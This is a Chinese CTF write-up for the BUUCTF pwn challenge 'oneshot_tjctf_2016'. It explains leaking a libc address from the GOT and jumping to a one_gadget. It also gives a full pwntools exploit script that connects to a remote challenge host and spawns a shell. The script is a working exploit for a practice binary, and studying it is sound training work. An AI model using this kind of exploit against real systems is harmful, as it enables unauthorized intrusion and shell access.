[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
skynetkang1 小时前
摄像头原始数据读取——gstreamer(gst_parse_launch)
linux·c++·音视频·gstreamer
lqj_本人1 小时前
关于node全栈项目打包发布linux项目问题总集
linux·运维·服务器
小辉吖~1 小时前
跨标签通信的几种方式
前端·javascript·html
鱼在在1 小时前
DFS 创建分级菜单
前端·javascript·vue·深度优先·dfs
2401_890666132 小时前
(免费送源码)计算机毕业设计原创定制:Java+SSM+JSP+Ajax+MySQLSSM国外鞋服代购平台
java·javascript·ajax·课程设计·idea·sqoop·tornado
I like Code?2 小时前
Vue3+TypeScript搭建最基础的后台管理系统(含tabs设计)
javascript·vue.js·typescript
wavemap2 小时前
AWS 新加坡EC2 VPS 性能、线路评测及免费注意事项
linux·网络·云计算·aws·aws-ec2·vps评测
BAGAE4 小时前
tomcat,appche,nginix,jboss区别
java·linux·数据库·ubuntu·tomcat
练习两年半的工程师4 小时前
React的基础知识:Context
前端·javascript·react.js
zqzgng4 小时前
裸金属服务器和专属主机的区别是什么?
linux·运维·服务器